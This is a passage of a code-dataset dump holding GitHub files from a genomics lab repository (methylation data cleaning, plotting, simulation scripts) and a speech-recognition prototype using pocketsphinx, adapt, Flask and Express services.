open(\\\"files.txt\\\", 'w') as f:\\n\\tfor url in files: \\n\\t\\tf.writelines(url)\\n\\t\\tf.writelines('\\\\n')\\nf.close()\"\n },\n {\n \"alpha_fraction\": 0.5197368264198303,\n \"alphanum_fraction\": 0.5197368264198303,\n \"avg_line_length\": 37,\n \"blob_id\": \"5fab84e1b85431364e62b4a8d78771f6d695a46a\",\n \"content_id\": \"98385c19c99c661a79672b331254a17b7caeb451\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 608,\n \"license_type\": \"no_license\",\n \"max_line_length\": 65,\n \"num_lines\": 16,\n \"path\": \"/reference_data/clean_chip_files.py\",\n \"repo_name\": \"misingnoglic/Zaitlen_lab\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from __future__ import print_function\\nimport os\\n\\nfile_list = [line.strip() for line in open(\\\"file_list.txt\\\", 'r')]\\nfor file in file_list:\\n with open(file) as f:\\n os.system(\\\"rm -f \\\" + file + \\\"_cleaned.txt\\\")\\n with open(file + \\\"_cleaned.txt\\\", \\\"a\\\") as out:\\n start_printing = False\\n for line in f:\\n if start_printing:\\n print(line.rstrip(), file=out)\\n if line.startswith(\\\"\\\\\\\"ID_REF\\\\\\\"\\\"):\\n start_printing = True\\n print(line.rstrip(), file=out)\\n print(open(file + \\\"_cleaned.txt\\\",).read())\\n\"\n },\n {\n \"alpha_fraction\": 0.6606335043907166,\n \"alphanum_fraction\": 0.685520350933075,\n \"avg_line_length\": 26.6875,\n \"blob_id\": \"bdcfd1c5e60d92ac14a78b2d4af185057366acdb\",\n \"content_id\": \"cedefb58c522a2ba4ca85c6300e3f1fd1c3fb8d3\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 442,\n \"license_type\": \"no_license\",\n \"max_line_length\": 71,\n \"num_lines\": 16,\n \"path\": \"/reference_data/jensen_et_al/jensen_plotting.py\",\n \"repo_name\": \"misingnoglic/Zaitlen_lab\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import pickle\\nimport matplotlib.pyplot as plt\\nimport numpy as np\\n\\npercent_meth = pickle.load(open(\\\"meth_dict.pkl\\\", \\\"rb\\\"))\\n\\nfor k, v in percent_meth.items():\\n percent_meth[k] = [round(x, 4) for x in v]\\n\\n\\nwidth = 1\\nplt.bar(list(range(101)), percent_meth[\\\"control\\\"], width, color=\\\"blue\\\")\\nplt.bar(list(range(101)), percent_meth[\\\"placenta\\\"], width, color=\\\"red\\\")\\nplt.bar(list(range(101)), percent_meth[\\\"buffy\\\"], width, color=\\\"green\\\")\\n\\nplt.show()\"\n },\n {\n \"alpha_fraction\": 0.6724738478660583,\n \"alphanum_fraction\": 0.684669017791748,\n \"avg_line_length\": 22.875,\n \"blob_id\": \"8abaee7ff256cad3bdcfe25913e05701b538c7d2\",\n \"content_id\": \"fded7886ae930aaf3e82bc643827e80540c028e1\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 574,\n \"license_type\": \"no_license\",\n \"max_line_length\": 148,\n \"num_lines\": 24,\n \"path\": \"/wgbs_primary_analysis/annotate_peaks.py\",\n \"repo_name\": \"misingnoglic/Zaitlen_lab\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# submitting qsub jobs for homer annotating peaks processing \\n# author <christa.caggiano@ucsf.edu> \\n# 5 Oct 2017 \\n\\nimport argparse\\nimport subprocess\\nimport os\\nimport linecache\\n\\nparser = argparse.ArgumentParser()\\nparser.add_argument(\\\"input\\\", type=int)\\nargs = parser.parse_args()\\n\\ninput = args.input \\n\\nf = open(\\\"fastq_files.txt\\\", \\\"r\\\")\\n\\nfile_list = []\\nfor line in f: \\n\\tfile_list.append(line.rstrip())\\n\\n\\nannotate_cmd = \\\"annotatePeaks.pl\\\" + \\\" \\\" + file_list[input] + \\\" \\\" + \\\"hg38 \\\" + \\\"-annStats \\\" + input + \\\"_stats.txt > \\\" file_list[input] + \\\"_homer.txt\\\"\\nsubprocess.call(annotate_cmd, shell=True)\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6393939256668091,\n \"alphanum_fraction\": 0.6651515364646912,\n \"avg_line_length\": 25.399999618530273,\n \"blob_id\": \"a3ae7844eff318d2a553e143fd24e60c3cd2bdf4\",\n \"content_id\": \"6613706fe8929fb395b88d4f2b092feefbfff5dd\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 660,\n \"license_type\": \"no_license\",\n \"max_line_length\": 140,\n \"num_lines\": 25,\n \"path\": \"/wgbs_primary_analysis/merge_files.py\",\n \"repo_name\": \"misingnoglic/Zaitlen_lab\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# merge files \\n\\nimport argparse \\nimport os \\n\\nparser = argparse.ArgumentParser()\\n\\nparser.add_argument(\\\"file_name\\\", type=int, help=\\\"fastq file for processing\\\")\\nargs = parser.parse_args()\\nfile_name = args.file_name\\nindex = file_name - 1\\n\\nprefix = open(\\\"prefixes4.txt\\\", \\\"r\\\")\\n\\nfile_list = []\\nfor line in prefix: \\n file_list.append(line.rstrip())\\nname = file_list[index]\\n\\nfile_1 = (name + \\\"/unsortedButMerged_ForBismark_file/methylation_extraction/\\\" + \\\"CpG_context_\\\" + name + \\\"_unsorted_merged.deduplicated.txt\\\")\\nfile_2 = file_1.replace(\\\"L001\\\", \\\"L002\\\")\\n\\ncmd = \\\"cat \\\" + file_1 + \\\" \\\" + file_2 + \\\" | sort -S 80% > \\\" + file_1[0] + \\\"_merged_cpg.txt\\\"\\n\\nos.system(cmd)\\n\"\n },\n {\n \"alpha_fraction\": 0.6472868323326111,\n \"alphanum_fraction\": 0.6652131676673889,\n \"avg_line_length\": 39.460784912109375,\n \"blob_id\": \"3275c700f2b369c72d29377103b2dca39c3cd235\",\n \"content_id\": \"eb26645dc4edfc70d7be31efc5276fa8f6fe36f5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4128,\n \"license_type\": \"no_license\",\n \"max_line_length\": 123,\n \"num_lines\": 102,\n \"path\": \"/simulation/decon_simulation_1.py\",\n \"repo_name\": \"misingnoglic/Zaitlen_lab\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# 29 aug 17\\n# simple script to produce simulated observed and reference data\\n# for given mixtures of origin tissue\\n# author <christa.caggiano@ucsf.edu>\\n\\nimport numpy as np\\nimport argparse\\nimport random\\n\\n\\ndef choose_random_cases(case):\\n\\n \\\"\\\"\\\"\\n pseudo-randomly decide if a case should be selected\\n :param case: number of cases (individual or cpgs)\\n :return: a dict that contains a bool indicating whether or not case is selected\\n \\\"\\\"\\\"\\n case_dict = {i: random.choice([False, True]) for i in range(case)}\\n return case_dict\\n\\n\\ndef create_array(case_dict, mean, sd, max, rows, columns, distribution_type, scaling, column_stack):\\n \\\"\\\"\\\"\\n creates an array where if a particular case is selected, values are generated around a given distribution\\n otherwise values are generated so that they are similar, with a small degree of noise\\n :param case_dict: either cpg or individual dictionaries that indicate which cases should be selected\\n :param mean:\\n :param sd:\\n :param max:\\n :param size: number of values to be generated\\n :param distribution_type:\\n :param column_stack: bool value indicating how to appropriately arrange the data\\n :return: an array containing values (methylation or cell type proportions) that have a particular distribution\\n \\\"\\\"\\\"\\n array_list = []\\n if column_stack:\\n \\n for case in range(columns):\\n if case_dict[case]:\\n array_list.append(distribution_type(mean, sd, rows) * scaling)\\n else:\\n static_value = max / 100 * random.randint(10, 99)\\n array_list.append([\\n static_value + random.choice(np.arange(-(static_value / 10), static_value / 10, scaling / 10))\\n for i in range(rows)])\\n return np.column_stack(array_list)\\n\\n else:\\n for case in range(columns):\\n if case_dict[case] == 1:\\n array_list.append(distribution_type(mean, sd, columns)*scaling)\\n else:\\n static_value = max / 100 * random.randint(10, 99)\\n array_list.append([static_value + random.choice(np.arange(-(static_value/10), static_value/10, scaling/10))\\n for i in range(columns)])\\n return np.vstack(array_list)\\n\\nif __name__ == \\\"__main__\\\":\\n\\n # accepts user input\\n # all choices must be greater than 1\\n # default is 5 individuals, 3 tissues, and 3 CpGs\\n # parser = argparse.ArgumentParser()\\n # parser.add_argument(\\\"individuals\\\", help=\\\"number of individuals\\\", type=int, choices=range(2,100), default=5)\\n # parser.add_argument(\\\"tissues\\\", help=\\\"number of tissues\\\", type=int, choices=range(2,100), default=3)\\n # parser.add_argument(\\\"cpgs\\\", help=\\\"number of CpG sites\\\", type=int, choices=range(2,100), default=3)\\n\\n # args = parser.parse_args()\\n\\n # individual = args.individuals\\n # cpg = args.cpgs\\n # tissue = args.tissues\\n\\n individual = 3\\n cpg = 4\\n tissue = 3\\n dmr_num = 0\\n control_num = 0\\n\\n\\n # # TODO proportion methylated\\n mean = 7000\\n maximum = 60000\\n sd = 435\\n\\n cpg_dict = choose_random_cases(cpg) # select random cpgs to be differentially methylated\\n individual_dict = choose_random_cases(individual) # select individuals to have non-normal levels of cfDNA\\n\\n\\n # TODO randomly pick one tissue to be diff methylated\\n # creates a reference array where methylation values are normally distributed if they are differentially methylated\\n # and base these methylation values around the descriptive statistics of the aforementioned data set\\n ref_array = create_array(cpg_dict, mean, sd, maximum, tissue, cpg, np.random.normal, 1, True)\\n\\n # create an array of cell proportions for each individual where proportions have a lognormal(skewed) distribution\\n # indicating a non-normal (perhaps disease) state\\n cell_proportion_array = create_array(individual_dict, 2, 0.2, 1, individual, tissue, np.random.lognormal, 0.1, False)\\n print(ref_array)\\n print(cell_proportion_array)\\n observed_array = np.dot(cell_proportion_array, ref_array)\\n print(observed_array)\\n # TODO add in noise y = mr + e\\n\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":17,"string":"17"}}},{"rowIdx":2984098,"cells":{"repo_name":{"kind":"string","value":"dnyaneshwar1991/Speech_Recognition"},"repo_url":{"kind":"string","value":"https://github.com/dnyaneshwar1991/Speech_Recognition"},"snapshot_id":{"kind":"string","value":"2552b86ae9e5e2c8fc13ff179e25c04a1493529f"},"revision_id":{"kind":"string","value":"0ea14278c9862140728d32c2eab83803eaaafb56"},"directory_id":{"kind":"string","value":"a1558801819e376fd548077f3db12ebba2196d9e"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-12-02T23:00:10.336023","string":"2020-12-02T23:00:10.336023"},"revision_date":{"kind":"timestamp","value":"2017-07-04T12:27:56","string":"2017-07-04T12:27:56"},"committer_date":{"kind":"timestamp","value":"2017-07-04T12:27:56","string":"2017-07-04T12:27:56"},"github_id":{"kind":"number","value":96214421,"string":"96,214,421"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5433333516120911,"alphanum_fraction":0.5507692098617554,"avg_line_length":22.347305297851562,"blob_id":"42492dafe78246af924543ea2f98822850568ed7","content_id":"a7f162da285f56ab518a12ef1cb20137d0a06afe","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3900,"license_type":"no_license","max_line_length":80,"num_lines":167,"path":"/pyflask2.py","repo_name":"dnyaneshwar1991/Speech_Recognition","src_encoding":"UTF-8","text":"import json\nimport sys\nfrom adapt.entity_tagger import EntityTagger\nfrom adapt.tools.text.tokenizer import EnglishTokenizer\nfrom adapt.tools.text.trie import Trie\nfrom adapt.intent import IntentBuilder\nfrom adapt.parser import Parser\nfrom adapt.engine import IntentDeterminationEngine\nimport datetime\nimport parsedatetime\nfrom flask import Flask\nfrom flask import request\n\n\napp = Flask(__name__)\n\n\n\n@app.route(\"/compute/<cmd>\")\ndef parse_request(cmd):\n \n print \"cmd is\",cmd;\n res = dbcon(cmd) \n return res\n\n \n\ndef dbcon(text):\n \n tokenizer = EnglishTokenizer()\n trie = Trie()\n tagger = EntityTagger(trie, tokenizer)\n parser = Parser(tokenizer, tagger)\n cal = parsedatetime.Calendar()\n engine = IntentDeterminationEngine()\n\n category_keyword = [\n \"energy\",\n \"equipment\"\n ]\n\n for ck in category_keyword:\n engine.register_entity(ck, \"categoryKeyword\")\n\n command_categories = [\n \"show\",\n \"write\",\n \"what\",\n \"display\",\n \"read\"\n ]\n for cc in command_categories:\n engine.register_entity(cc,\"commandcategories\")\n\n pmt_categories = [\n \"details\",\n \"status\",\n \"parameters\",\n \"requirement\",\n \"output\"\n ]\n for pc in pmt_categories:\n engine.register_entity(pc, \"pmtcategories\")\n\n lvl_categories = [\n \"level-1\",\n \"level-2\",\n \"level-3\",\n \"level-4\",\n \"level-5\"\n ]\n for lc in lvl_categories:\n engine.register_entity(lc,\"lvlcategories\")\n\n intensity_categories = [\n \"high\",\n \"medium\",\n \"low\",\n \"normal\"\n\n ]\n for ic in intensity_categories:\n engine.register_entity(ic,\"intensitycategories\") \n sub_categories = [\n \"consumption\",\n \"demand\",\n \"energy consumption tracker\",\n \"building energy usage category\",\n \"top five faults\",\n \"faults by equipment category\",\n \"chiller system runhour\",\n \"boiler system runhour\"\n\n ]\n for sc in sub_categories:\n engine.register_entity(sc, \"subcategories\")\n\n range_categories = [\n \"one month data\",\n \"two month data\",\n \"three month data\",\n \"four month data\",\n \"five month data\",\n \"six month data\",\n \"seven month data\",\n \"eight month data\",\n \"nine month data\",\n \"ten month data\"\n ]\n for rc in range_categories:\n engine.register_entity(rc, \"rangecategories\")\n\n equipment_intent = IntentBuilder(\"equipmentIntent\")\\\n .require(\"categoryKeyword\")\\\n .optionally(\"subcategories\")\\\n .optionally(\"commandcategories\")\\\n .optionally(\"rangecategories\")\\\n .optionally(\"pmtcategories\")\\\n .optionally(\"intensitycategories\")\\\n .optionally(\"lvlcategories\")\\\n .build()\n\n engine.register_intent_parser(equipment_intent)\n\n #if __name__ == \"__main__\":\n intent = {}\n \t\n for intent in engine.determine_intent(text):\n\tprint\"*************************************************\"\n \tif intent.get('confidence') > 0:\n \t print \"intent:\",intent\n \n print (\"------------------------------------------------------------------\")\n print \"text: \",text\n print (\"------------------------------------------------------------------\")\n \n dt_obj = cal.parse(str(text))\n \n print \"date:\",dt_obj[0][2]\n print \"Month:\",dt_obj[0][1]\n print \"year:\",dt_obj[0][0]\n \n ''' \t\n if(dt_obj):\n print 'date:',dt_obj.datetimeString-\n\n #print intent\n\n intent['date']=dt_obj.datetimeString\n '''\n \t\n intent['date'] = dt_obj[0][2] \n intent['month'] = dt_obj[0][1]\n intent['year'] = dt_obj[0][0]\n \t\t \n print intent\n return(json.dumps(intent, indent=4))\n\n \n\n \n\n\nif __name__ == \"__main__\":\n\t#app.debug = True\n\tapp.run('127.0.0.1', 8085)\n\t#app.run(debug = True)\t\n"},{"alpha_fraction":0.5738310217857361,"alphanum_fraction":0.5890073776245117,"avg_line_length":24.9255313873291,"blob_id":"177615f9d5071c0fcf814551df7841237cf07f71","content_id":"a2b106093cfa143dcd35813797fe7af40e66cfb4","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"JavaScript","length_bytes":2451,"license_type":"no_license","max_line_length":103,"num_lines":94,"path":"/nodejs2.js","repo_name":"dnyaneshwar1991/Speech_Recognition","src_encoding":"UTF-8","text":"var http = require('http');\nvar express = require('express');\nvar request = require('request');\nvar app = express(); \nvar bodyParser = require('body-parser');\n//http://localhost:3000/_getproduct/8821264 \n\n\n// Add headers\napp.use(function (req, res, next) {\n\n // Website you wish to allow to connect\n res.header('Access-Control-Allow-Origin', '*');\n\n // Request methods you wish to allow\n res.header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS, PUT, PATCH, DELETE');\n\n // Request headers you wish to allow\n res.header('Access-Control-Allow-Headers', 'Content-type');\n\n // Set to true if you need the website to include cookies in the requests sent\n // to the API (e.g. in case you use sessions)\n res.header('Access-Control-Allow-Credentials', true);\n\n // Pass to next layer of middleware\n next();\n})\n\n//support parsing of application/json type post data\n//app.use(bodyParser.json());\n\n\n//app.use(bodyParser.text({ type: 'text/html' }))\n\n\n\t\n\n/*\tvar path1 = \"compute/\" + keys[0];\t\n\tvar options = {\n \t\thost: 'localhost',\n \t\tpath: path1,\n \t\tmethod: 'get',\n \t\tport: 8085,\t\n \t\theaders: { 'Content-Type': 'application/x-www-form-urlencoded'}\n };\n\t //console.log(\"options are ready\");\n \t var req = http.request(options, function(res) {\n \t \tres.setEncoding('utf8');\n \t \tres.on('data', function (TempCommand) {\n \t\t\tconsole.log('response from python library: ' + TempCommand);\n });\n\n });\n\n req.on('error', function(e) {\n \t console.log(e);\n \t });\n\n // Write the audio data in the request body.\n \n //var dt = \"{'resData':'\"+command+\"'}\";\n //console.log(dt);\n req.write();\n //console.log(\"command 2:\",command);\n req.end();\n\n });\n \n*/\n\n//support parsing of application/x-www-form-urlencoded post data\napp.use(bodyParser.urlencoded({ extended: true }));\n\napp.post('/_getproduct', function(req, res) {\n\tconsole.log(\"body:\", req.body);\n var keys =Object.keys(req.body); \n console.log(keys[0]);\n\n\nrequest.get({ url: \"http://localhost:8085/compute/\" + keys[0]}, function(error, response, body) { \n if (!error && response.statusCode == 200) { \n //res.json(body);\n\t console.log(body);\n\t\t res.json(body); \n } \n\n }); \n });\n \n\n\napp.listen(3000, function () {\n console.log('Example app listening on port 3000!')\n}); \n"},{"alpha_fraction":0.5535109043121338,"alphanum_fraction":0.5728813409805298,"avg_line_length":25.81818199157715,"blob_id":"2c09bff7113ccab12d30b17d48f662af063c1897","content_id":"43c37a698135f86d6c23b063b2b36b95fa710763","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2065,"license_type":"no_license","max_line_length":83,"num_lines":77,"path":"/live_stt.py","repo_name":"dnyaneshwar1991/Speech_Recognition","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 23 08:37:58 2017\n\n@author: jjadhad\n\"\"\"\n\nimport pyaudio\n#import wave\nfrom os import environ, path\nimport sys\nfrom pocketsphinx.pocketsphinx import *\nfrom sphinxbase.sphinxbase import *\nfrom flask import Flask\n#import flask\n#from flask import request,Request\n#---------------------------------------------------------------------------------#\n\napp = Flask(__name__)\nCHUNK = 1024\nFORMAT = pyaudio.paInt16\nCHANNELS = 1\nRATE = 16000\n#RECORD_SECONDS = 5\n\n \n\n#MODELDIR = \"/home/jjadhad/workspace/speech_to_text/cmusphinx-en-in-5.2\"\nMODELDIR = \"/home/jjadhad/workspace/speech_to_text/ac_mo\"\n\n# Create a decoder with certain model\nconfig = Decoder.default_config()\nconfig.set_string('-hmm', path.join(MODELDIR, 'en-us'))\nconfig.set_string('-lm', path.join(MODELDIR, '3456.lm'))\nconfig.set_string('-dict', path.join(MODELDIR, '3456.dic'))\n#config.set_string('-logfn', '/dev/null')\ndecoder = Decoder(config)\n\n\n\np = pyaudio.PyAudio()\nstream = p.open(format=FORMAT,\n channels=CHANNELS,\n rate=RATE,\n input=True,\n frames_per_buffer=CHUNK) \n\n\ndecoder.start_utt()\nin_speech_bf = True\n\nwhile True:\n buf = stream.read(1024)\n if buf:\n decoder.process_raw(buf, False, False)\n try:\n if decoder.hyp().hypstr != '':\n print('Partial decoding result:', decoder.hyp().hypstr)\n except AttributeError:\n pass\n if decoder.get_in_speech():\n sys.stdout.write('.')\n sys.stdout.flush()\n if decoder.get_in_speech() != in_speech_bf:\n in_speech_bf = decoder.get_in_speech()\n if not in_speech_bf:\n decoder.end_utt()\n try:\n if decoder.hyp().hypstr != '':\n print('Stream decoding result:', decoder.hyp().hypstr)\n except AttributeError:\n pass\n decoder.start_utt()\n else:\n break\ndecoder.end_utt()\nprint('An Error occured:', decoder.hyp().hypstr)\n"},{"alpha_fraction":0.4992867410182953,"alphanum_fraction":0.5106989741325378,"avg_line_length":31.106870651245117,"blob_id":"dd30e0aa91806931a334dea2ad9815db4f929454","content_id":"d1dee3e61471e9a07190865a1b013a2d64eb9098","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":4206,"license_type":"no_license","max_line_length":126,"num_lines":131,"path":"/stt.py","repo_name":"dnyaneshwar1991/Speech_Recognition","src_encoding":"UTF-8","text":"import pyaudio\nimport wave\nfrom os import environ, path\nimport sys\nfrom pocketsphinx.pocketsphinx import *\nfrom sphinxbase.sphinxbase import *\nfrom flask import Flask\n#import flask\nfrom flask import request,Request\n#import time\n\n#from werkzeug.utils import secure_filename\n#import os,io\n\napp = Flask(__name__)\n\n\ndef VoiceRecorder():\n CHUNK = 1024\n FORMAT = pyaudio.paInt16\n CHANNELS = 1\n RATE = 16000\n #RECORD_SECONDS = 5\n\n p = pyaudio.PyAudio()\n stream = p.open(format=FORMAT,\n channels=CHANNELS,\n rate=RATE,\n input=True,\n frames_per_buffer=CHUNK) \n buf = stream.read(1024)\n return buf\n\ndef StreamParser(ByteArray):\n MODELDIR = \"/home/jjadhad/sphinx_examples/ac_mo\"\n #DATADIR = \"/usr/share/pocketsphinx/test/data\"\n\n # Create a decoder with certain model\n config = Decoder.default_config()\n config.set_string('-hmm', path.join(MODELDIR, 'en-us'))\n config.set_string('-lm', path.join(MODELDIR, 'en-us.lm'))\n config.set_string('-dict', path.join(MODELDIR, 'cmudict-en-us.dict'))\n decoder = Decoder(config)\n\n decoder.start_utt()\n in_speech_bf = True\n a=20\n while True:\n #buf = stream.read(1024)\n if ByteArray:\n decoder.process_raw(ByteArray, False, False)\n try:\n if decoder.hyp().hypstr != '':\n\t\t print \"********** Partial Result ***********\"\n print('Partial decoding result:', decoder.hyp().hypstr)\n #return decoder.hyp().hypstr\n except AttributeError:\n pass\n #decoder.hyp().hypstr = ''\n '''\n if decoder.get_in_speech():\n sys.stdout.write('.')\n sys.stdout.flush()\n ''' \n if decoder.get_in_speech() != in_speech_bf:\n in_speech_bf = decoder.get_in_speech()\n if not in_speech_bf:\n decoder.end_utt()\n try:\n if decoder.hyp().hypstr != '':\n print \" ____________ Final Result ___________\"\n print('Stream decoding result:', decoder.hyp().hypstr)\n #return decoder.hyp().hypstr\n except AttributeError:\n pass\n decoder.start_utt()\n else:\n break\n decoder.end_utt()\n print('An Error occured:', decoder.hyp().hypstr)\n\n#func()\n#UPLOAD_FOLDER = '/home/jjadhad/'\n#ALLOWED_EXTENSIONS = set(['txt', 'wav'])\n#app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n#request.environ['CONTENT_TYPE'] = 'audio/wav'\n\n\n\n@app.route(\"/stream/<int:flag>\",methods=['POST'])\ndef stream_read_handler(flag):\n #print \"****************************************************************************************************************\"\t\n print \"Flag: \", flag\n print \"flag type:\", type(flag) \n #print \"data:\",request.get_data()\t\n #print \"data: \" , request.args.get('myfile')\n #print \"data:\",request.body['data']\n #print \"data:\",request.form['data']\n #print \"data:\",request.args['data']\n #print \"data:\",request.stream.read()\n temp_data_2 = request.stream.read()\n print \"type of bytearray: \", type(temp_data_2)\n print \"temp_data_2 len\", len(temp_data_2)\n fd = wave.open(\"sample_3.wav\",\"w\")\n fd.setparams((1, 2, 16000, 70997, 'NONE', 'not compressed'))\n fd.writeframesraw(temp_data_2)\n #fd.close()\n fd.close()\n \n command = 0\t\n if (flag == 0):\n\tprint \"---------------------------------------- byte array recved ---------------------------------------------------\"\n return \"show me the energy consumption\"\t \n else:\n\tprint \"******************************************* mic enabled *******************************************************\"\n\tcommand = StreamParser(temp_data_2[44:])\n if command == 0:\n\treturn 0\t\n return command\t\t \t\n\t\t \n #cmd = process_raw_handler()\n\n#@app.route(\"/process_raw\")\ndef process_raw_handler():\n return \"processed raw buf output is here\"\n\n\nif __name__ == \"__main__\":\n #app.debug = True\n app.run()\n #app.run(debug = True)\n"},{"alpha_fraction":0.5915880799293518,"alphanum_fraction":0.6029874086380005,"avg_line_length":23.461538314819336,"blob_id":"d5e7fbdd23901dcc7e5f25ce01fc4f80656101b4","content_id":"3b706de17a7fe19205675128b1a9fa85a90989fb","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"JavaScript","length_bytes":2544,"license_type":"no_license","max_line_length":110,"num_lines":104,"path":"/wrapper.js","repo_name":"dnyaneshwar1991/Speech_Recognition","src_encoding":"UTF-8","text":"var express = require('express');\nvar request = require('request');\nvar app = express();\nvar fs = require(\"fs\");\nvar sizeof = require('object-sizeof');\nvar http = require(\"http\");\nvar FormData = require('form-data');\n\n//require the body-parser nodejs module\nvar bodyParser = require('body-parser');\n\n//require the path nodejs module\nvar path = require(\"path\");\n\n \n// Add headers\napp.use(function (req, res, next) {\n\n // Website you wish to allow to connect\n res.header('Access-Control-Allow-Origin', '*');\n\n // Request methods you wish to allow\n res.header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS, PUT, PATCH, DELETE');\n\n // Request headers you wish to allow\n res.header('Access-Control-Allow-Headers', 'Content-type');\n\n // Set to true if you need the website to include cookies in the requests sent\n // to the API (e.g. in case you use sessions)\n res.header('Access-Control-Allow-Credentials', true);\n\n // Pass to next layer of middleware\n next();\n})\n\n//app.use(bodyParser.raw);\napp.use(bodyParser.raw({ type: 'audio/wav', limit: '50mb' }));\n\n\napp.post('/hello', function (req, res) {\n\t\n\t//console.log(\"----------------------body:\",req.body);\n\t//console.log(\"size:\", req.body.length);\n\t\n var flag_for_wavfile = 0;\n var wav_str;\n var Command=''; \n \n if (req.body.length)\t\t// check for wavfile\n\t { \n\t\t\n\t\twav_str= req.body;\n \n\t\tfs.writeFile('sample_1.wav', wav_str, function(err) {\n console.log(err ? 500 : 200 );\n //res.send(err ? 500 : 200);\n });\n\t\tflag_for_wavfile = 1;\t\n\t }\n\n\telse\n\t{\n\t\tflag_for_wavfile = 0;\n\t\tconsole.log(\"In else condition\");\n\t}\n\n\t//res.send(\"Hi, Amol Gogawale\");\n\t\n\t\n\tvar formData = {\n \t\tmy_file: wav_str //fs.createReadStream('/home/jjadhad/nodejs/test_20.wav')\n\t};\n \n\trequest.post({url:'http://localhost:5000/stream/1' , formData: formData}, function(err, httpResponse, body) {\n \t\tif (err) {\n \t return console.error('upload failed:', err);\n \t\t}\n \t console.log('Upload successful! Server responded with:', body);\n\t console.log(\"body:\",body);\n\t Command = body;\n\t console.log(\"Command:\",Command);\n\t res.send(body);\n\t});\n\t\t\t//console.log(\"body:\",Command);\n\t\t\t//while(Command == 'undefined');\n\t\t\t//console.log(\"body:\",Command);\n\t\t\t//res.send(Command);\n\t\t\t//return Command;\n\t\t\t\n\t\t\t\n\t\n\t})\n\n \n\t\n\n\nvar server = app.listen(8081, function () {\n\n //var host = server.address().address\n var port = server.address().port\n console.log(\"Listening on port:\", port)\n\n})\n"},{"alpha_fraction":0.8554216623306274,"alphanum_fraction":0.8554216623306274,"avg_line_length":40.5,"blob_id":"0426579e5a51ddbbdaf6aac597863d63bab422dd","content_id":"cf6bbd5fc6e60b86d96bda916a4b0045b65521e3","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":83,"license_type":"no_license","max_line_length":61,"num_lines":2,"path":"/README.md","repo_name":"dnyaneshwar1991/Speech_Recognition","src_encoding":"UTF-8","text":"# Speech_Recognition\nThis repository contains code regarding to speech recognition\n"},{"alpha_fraction":0.5643564462661743,"alphanum_fraction":0.5807638168334961,"avg_line_length":25.298507690429688,"blob_id":"6707cc6d08069ca2b6acc7bea2cf72ec89e02428","content_id":"bd0aba6b5af56b8f7c5ff74193d0e986ae6e7b27","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"JavaScript","length_bytes":3556,"license_type":"no_license","max_line_length":164,"num_lines":134,"path":"/centralnode2.js","repo_name":"dnyaneshwar1991/Speech_Recognition","src_encoding":"UTF-8","text":"var express = require('express');\nvar request = require('request');\nvar http = require('http');\nvar fs = require('fs');\nvar app = express();\n //require the body-parser nodejs module\nvar bodyParser = require('body-parser');\n //require the path nodejs module\nvar path = require(\"path\");\n\n// Add headers\napp.use(function (req, res, next) {\n\n // Website you wish to allow to connect\n res.header('Access-Control-Allow-Origin', '*');\n\n // Request methods you wish to allow\n res.header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS, PUT, PATCH, DELETE');\n\n // Request headers you wish to allow\n res.header('Access-Control-Allow-Headers', 'Content-type');\n\n // Set to true if you need the website to include cookies in the requests sent\n // to the API (e.g. in case you use sessions)\n res.header('Access-Control-Allow-Credentials', true);\n\n // Pass to next layer of middleware\n next();\n})\n\n//support parsing of application/json type post data\n//app.use(bodyParser.json());\n\n//support parsing of application/x-www-form-urlencoded post data\n//app.use(bodyParser.urlencoded({ extended: true }));\n\napp.use(bodyParser.raw({ type: 'audio/wav', limit: '50mb' }));\napp.post('/postUsers', function (req, res) {\n//TempCommand('text');\n var data = req.body;\n // console.log(req.body);\n\t\t\t\n\t var options = {\n \t\thost: 'localhost',\n \t\tpath: '/hello',\n \t\tmethod: 'POST',\n \t\tport: 8081,\t\n \t\theaders: { 'Content-Type': 'audio/wav' }\n };\n \n \t var req = http.request(options, function(res) {\n \t \tres.setEncoding('utf8');\n \t \tres.on('data', function (chunk){\n\n\t\t\n\t\tTempCommand(chunk);\n\n\t\t\n\n \t\t\t});\n });\n \t\n\t\n \t \n req.on('error', function(e) {\n \t console.log(e);\n \t });\n\n // Write the audio data in the request body.\n req.write(data);\n req.end();\t\t\t\t \t\n\n})\n\n\n/* write ur func here */\n\n\nfunction TempCommand(command){\n\t//console.log(\" in func TempCommand() \");\n\t console.log(\"command\",command); \n \n var options = {\n \t\thost: 'localhost',\n \t\tpath: '/_getproduct',\n \t\tmethod: 'post',\n 